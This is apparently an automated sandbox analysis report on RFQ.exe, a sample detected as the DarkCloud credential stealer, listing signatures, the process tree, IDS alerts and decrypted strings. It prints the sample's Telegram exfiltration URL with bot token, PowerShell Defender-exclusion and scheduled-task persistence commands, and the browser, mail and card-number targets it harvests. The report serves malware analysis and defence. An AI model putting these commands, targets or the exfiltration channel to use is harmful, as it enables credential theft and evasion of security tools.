Edit tour

Windows Analysis Report
RFQ.exe

Overview

General Information

Sample name:	RFQ.exe
Analysis ID:	1635323
MD5:	768bed9843a8a7c96699b27fc40b8819
SHA1:	4ae495c3540252bef39276bf6e9fc84435f7b7bb
SHA256:	aa653ad0d107b2d7ab98d4ede0eef147b73fbd7eb2f522f0bf608f833daebe34
Tags:	exeuser-TeamDreier
Infos:

Detection

DarkCloud

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Scheduled temp file as task from temp location

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected DarkCloud

.NET source code contains potential unpacker

Adds a directory exclusion to Windows Defender

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Joe Sandbox ML detected suspicious sample

Loading BitLocker PowerShell Module

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Sample uses string decryption to hide its real strings

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to harvest and steal browser information (history, passwords, etc)

Uses schtasks.exe or at.exe to add and modify task schedules

Uses the Telegram API (likely for C&C communication)

Writes or reads registry keys via WMI

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries disk information (often used to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

RFQ.exe (PID: 7040 cmdline: "C:\Users\user\Desktop\RFQ.exe" MD5: 768BED9843A8A7C96699B27FC40B8819)

powershell.exe (PID: 6212 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6232 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6364 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\wOPQRmK.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 2912 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\wOPQRmK" /XML "C:\Users\user\AppData\Local\Temp\tmpD6E6.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 2668 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RFQ.exe (PID: 2724 cmdline: "C:\Users\user\Desktop\RFQ.exe" MD5: 768BED9843A8A7C96699B27FC40B8819)

wOPQRmK.exe (PID: 6208 cmdline: C:\Users\user\AppData\Roaming\wOPQRmK.exe MD5: 768BED9843A8A7C96699B27FC40B8819)

schtasks.exe (PID: 7276 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\wOPQRmK" /XML "C:\Users\user\AppData\Local\Temp\tmpE703.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7296 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wOPQRmK.exe (PID: 7340 cmdline: "C:\Users\user\AppData\Roaming\wOPQRmK.exe" MD5: 768BED9843A8A7C96699B27FC40B8819)

svchost.exe (PID: 7632 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DarkCloud Stealer	Stealer is written in Visual Basic.	No Attribution	https://asec.ahnlab.com/en/53128/ https://c3rb3ru5d3d53c.github.io/malware-blog/darkcloud-stealer/	https://malpedia.caad.fkie.fraunhofer.de/details/win.darkcloud

Malware Configuration

Threatname: DarkCloud

{"Exfil Mode": "Telegram", "Telegram URL": "https://api.telegram.org/bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendMessage?chat_id=6732456666"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000007.00000002.2126948877.0000000000401000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_DarkCloud	Yara detected DarkCloud	Joe Security
00000000.00000002.897305402.0000000003609000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DarkCloud	Yara detected DarkCloud	Joe Security
Process Memory Space: RFQ.exe PID: 7040	JoeSecurity_DarkCloud	Yara detected DarkCloud	Joe Security
Process Memory Space: RFQ.exe PID: 7040	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: RFQ.exe PID: 2724	JoeSecurity_DarkCloud	Yara detected DarkCloud	Joe Security
Process Memory Space: wOPQRmK.exe PID: 6208	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.RFQ.exe.373cc58.3.unpack	JoeSecurity_DarkCloud	Yara detected DarkCloud	Joe Security
0.2.RFQ.exe.3714578.4.unpack	JoeSecurity_DarkCloud	Yara detected DarkCloud	Joe Security
0.2.RFQ.exe.36cac38.2.unpack	JoeSecurity_DarkCloud	Yara detected DarkCloud	Joe Security
0.2.RFQ.exe.373cc58.3.raw.unpack	JoeSecurity_DarkCloud	Yara detected DarkCloud	Joe Security
0.2.RFQ.exe.36cac38.2.raw.unpack	JoeSecurity_DarkCloud	Yara detected DarkCloud	Joe Security
0.2.RFQ.exe.3714578.4.raw.unpack	JoeSecurity_DarkCloud	Yara detected DarkCloud	Joe Security
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\RFQ.exe", ParentImage: C:\Users\user\Desktop\RFQ.exe, ParentProcessId: 7040, ParentProcessName: RFQ.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ.exe", ProcessId: 6212, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\wOPQRmK" /XML "C:\Users\user\AppData\Local\Temp\tmpE703.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\wOPQRmK" /XML "C:\Users\user\AppData\Local\Temp\tmpE703.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\wOPQRmK.exe, ParentImage: C:\Users\user\AppData\Roaming\wOPQRmK.exe, ParentProcessId: 6208, ParentProcessName: wOPQRmK.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\wOPQRmK" /XML "C:\Users\user\AppData\Local\Temp\tmpE703.tmp", ProcessId: 7276, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\wOPQRmK" /XML "C:\Users\user\AppData\Local\Temp\tmpD6E6.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\wOPQRmK" /XML "C:\Users\user\AppData\Local\Temp\tmpD6E6.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\RFQ.exe", ParentImage: C:\Users\user\Desktop\RFQ.exe, ParentProcessId: 7040, ParentProcessName: RFQ.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\wOPQRmK" /XML "C:\Users\user\AppData\Local\Temp\tmpD6E6.tmp", ProcessId: 2912, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\RFQ.exe", ParentImage: C:\Users\user\Desktop\RFQ.exe, ParentProcessId: 7040, ParentProcessName: RFQ.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ.exe", ProcessId: 6212, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 628, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7632, ProcessName: svchost.exe

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\wOPQRmK" /XML "C:\Users\user\AppData\Local\Temp\tmpD6E6.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\wOPQRmK" /XML "C:\Users\user\AppData\Local\Temp\tmpD6E6.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\RFQ.exe", ParentImage: C:\Users\user\Desktop\RFQ.exe, ParentProcessId: 7040, ParentProcessName: RFQ.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\wOPQRmK" /XML "C:\Users\user\AppData\Local\Temp\tmpD6E6.tmp", ProcessId: 2912, ProcessName: schtasks.exe

Suricata Signatures

ET MALWARE DarkCloud Stealer File Grabber Function Exfiltrating Data via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-11T15:33:24.171500+0100	2044741	1	A Network Trojan was detected	192.168.2.7	49683	149.154.167.220	443	TCP

ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-11T15:33:48.142840+0100	2045300	1	A Network Trojan was detected	192.168.2.7	49693	149.154.167.220	443	TCP
2025-03-11T15:33:48.395040+0100	2045300	1	A Network Trojan was detected	192.168.2.7	49695	149.154.167.220	443	TCP
2025-03-11T15:34:11.569229+0100	2045300	1	A Network Trojan was detected	192.168.2.7	49701	149.154.167.220	443	TCP
2025-03-11T15:34:11.587734+0100	2045300	1	A Network Trojan was detected	192.168.2.7	49702	149.154.167.220	443	TCP
2025-03-11T15:34:26.364017+0100	2045300	1	A Network Trojan was detected	192.168.2.7	49705	149.154.167.220	443	TCP
2025-03-11T15:34:26.520496+0100	2045300	1	A Network Trojan was detected	192.168.2.7	49706	149.154.167.220	443	TCP
2025-03-11T15:34:41.239444+0100	2045300	1	A Network Trojan was detected	192.168.2.7	49709	149.154.167.220	443	TCP
2025-03-11T15:34:41.520311+0100	2045300	1	A Network Trojan was detected	192.168.2.7	49710	149.154.167.220	443	TCP
2025-03-11T15:35:02.650364+0100	2045300	1	A Network Trojan was detected	192.168.2.7	49715	149.154.167.220	443	TCP
2025-03-11T15:35:05.924794+0100	2045300	1	A Network Trojan was detected	192.168.2.7	49718	149.154.167.220	443	TCP
2025-03-11T15:35:18.979744+0100	2045300	1	A Network Trojan was detected	192.168.2.7	49721	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-11T15:33:15.597177+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49681	162.55.60.2	80	TCP
2025-03-11T15:33:19.748134+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49682	162.55.60.2	80	TCP
2025-03-11T15:35:03.154891+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49717	149.154.167.220	443	TCP

ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-11T15:33:23.463913+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.7	49683	149.154.167.220	443	TCP
2025-03-11T15:33:37.148761+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.7	49689	149.154.167.220	443	TCP
2025-03-11T15:33:38.334206+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.7	49690	149.154.167.220	443	TCP
2025-03-11T15:33:47.377306+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.7	49693	149.154.167.220	443	TCP
2025-03-11T15:33:47.757645+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.7	49695	149.154.167.220	443	TCP
2025-03-11T15:33:59.994526+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.7	49698	149.154.167.220	443	TCP
2025-03-11T15:34:00.558823+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.7	49699	149.154.167.220	443	TCP
2025-03-11T15:34:10.869429+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.7	49701	149.154.167.220	443	TCP
2025-03-11T15:34:10.878851+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.7	49702	149.154.167.220	443	TCP
2025-03-11T15:34:19.110439+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.7	49704	149.154.167.220	443	TCP
2025-03-11T15:34:19.198578+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.7	49703	149.154.167.220	443	TCP
2025-03-11T15:34:25.769152+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.7	49705	149.154.167.220	443	TCP
2025-03-11T15:34:25.928226+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.7	49706	149.154.167.220	443	TCP
2025-03-11T15:34:31.779561+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.7	49707	149.154.167.220	443	TCP
2025-03-11T15:34:31.926482+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.7	49708	149.154.167.220	443	TCP
2025-03-11T15:34:40.565592+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.7	49709	149.154.167.220	443	TCP
2025-03-11T15:34:40.720331+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.7	49710	149.154.167.220	443	TCP
2025-03-11T15:34:43.220170+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.7	49711	149.154.167.220	443	TCP
2025-03-11T15:34:45.245866+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.7	49712	149.154.167.220	443	TCP
2025-03-11T15:35:02.031896+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.7	49715	149.154.167.220	443	TCP
2025-03-11T15:35:05.241246+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.7	49718	149.154.167.220	443	TCP
2025-03-11T15:35:06.141387+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.7	49719	149.154.167.220	443	TCP
2025-03-11T15:35:15.881008+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.7	49721	149.154.167.220	443	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-11T15:33:23.463913+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49683	149.154.167.220	443	TCP
2025-03-11T15:33:37.148761+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49689	149.154.167.220	443	TCP
2025-03-11T15:33:38.334206+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49690	149.154.167.220	443	TCP
2025-03-11T15:33:47.377306+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49693	149.154.167.220	443	TCP
2025-03-11T15:33:47.757645+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49695	149.154.167.220	443	TCP
2025-03-11T15:33:59.994526+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49698	149.154.167.220	443	TCP
2025-03-11T15:34:00.558823+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49699	149.154.167.220	443	TCP
2025-03-11T15:34:10.869429+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49701	149.154.167.220	443	TCP
2025-03-11T15:34:10.878851+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49702	149.154.167.220	443	TCP
2025-03-11T15:34:19.110439+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49704	149.154.167.220	443	TCP
2025-03-11T15:34:19.198578+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49703	149.154.167.220	443	TCP
2025-03-11T15:34:25.769152+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49705	149.154.167.220	443	TCP
2025-03-11T15:34:25.928226+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49706	149.154.167.220	443	TCP
2025-03-11T15:34:31.779561+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49707	149.154.167.220	443	TCP
2025-03-11T15:34:31.926482+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49708	149.154.167.220	443	TCP
2025-03-11T15:34:40.565592+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49709	149.154.167.220	443	TCP
2025-03-11T15:34:40.720331+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49710	149.154.167.220	443	TCP
2025-03-11T15:34:43.220170+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49711	149.154.167.220	443	TCP
2025-03-11T15:34:45.245866+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49712	149.154.167.220	443	TCP
2025-03-11T15:35:02.031896+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49715	149.154.167.220	443	TCP
2025-03-11T15:35:05.241246+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49718	149.154.167.220	443	TCP
2025-03-11T15:35:06.141387+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49719	149.154.167.220	443	TCP
2025-03-11T15:35:15.881008+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49721	149.154.167.220	443	TCP

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-11T15:35:03.154891+0100	1810007	1	Potentially Bad Traffic	192.168.2.7	49717	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: RFQ.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe

Avira: detection malicious, Label: TR/AD.Nekark.uuqcc

Found malware configuration

Source: 0.2.RFQ.exe.373cc58.3.raw.unpack

Malware Configuration Extractor: DarkCloud {"Exfil Mode": "Telegram", "Telegram URL": "https://api.telegram.org/bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendMessage?chat_id=6732456666"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe

ReversingLabs: Detection: 76%

Multi AV Scanner detection for submitted file

Source: RFQ.exe	Virustotal: Detection: 73%			Perma Link
Source: RFQ.exe	ReversingLabs: Detection: 76%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Sample uses string decryption to hide its real strings

Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: Cookies
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: \Default\Login Data
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: \Login Data
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: //setting[@name='Password']/value
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: Password :
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: Software\Martin Prikryl\WinSCP 2\Sessions
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: SMTP Email Address
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: NNTP Email Address
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: Email
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: HTTPMail User Name
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: HTTPMail Server
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: ^(?!:\/\/)([a-zA-Z0-9-_]+\.)[a-zA-Z0-9][a-zA-Z0-9-_]+\.[a-zA-Z]{2,11}?$
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: Password
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: ^3[47][0-9]{13}$
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: ^(6541\|6556)[0-9]{12}$
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: ^389[0-9]{11}$
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: ^3(?:0[0-5]\|[68][0-9])[0-9]{11}$
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: ^63[7-9][0-9]{13}$
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: mail\
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: ^(?:2131\|1800\|35\\d{3})\\d{11}$
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: ^9[0-9]{15}$
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: ^(6304\|6706\|6709\|6771)[0-9]{12,15}$
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: ^(5018\|5020\|5038\|6304\|6759\|6761\|6763)[0-9]{8,15}$
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: Mastercard
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: ^(6334\|6767)[0-9]{12}\|(6334\|6767)[0-9]{14}\|(6334\|6767)[0-9]{15}$
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: ^(4903\|4905\|4911\|4936\|6333\|6759)[0-9]{12}\|(4903\|4905\|4911\|4936\|6333\|6759)[0-9]{14}\|(4903\|4905\|4911\|4936\|6333\|6759)[0-9]{15}\|564182[0-9]{10}\|564182[0-9]{12}\|564182[0-9]{13}\|633110[0-9]{10}\|633110[0-9]{12}\|633110[0-9]{13}$
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: ^(62[0-9]{14,17})$
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: Visa Card
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: ^(?:4[0-9]{12}(?:[0-9]{3})?\|5[1-5][0-9]{14})$
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: Visa Master Card
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: \logins.json
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: \signons.sqlite
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: Foxmail.exe
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: \Accounts\Account.rec0
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: \AccCfg\Accounts.tdat
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: EnableSignature
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: Application : FoxMail
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: encryptedUsername
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: logins
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: encryptedPassword
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: Select * from Win32_ComputerSystem
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: \cookies.db
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: \Default\Cookies
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: \Cookies
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: \cookies.sqlite
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: \global-messages-db.sqlite
Source: 0.2.RFQ.exe.373cc58.3.unpack	String decryptor: C:\\MailMasterData

Source: RFQ.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49683 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49689 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49690 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49695 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49698 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49719 version: TLS 1.2
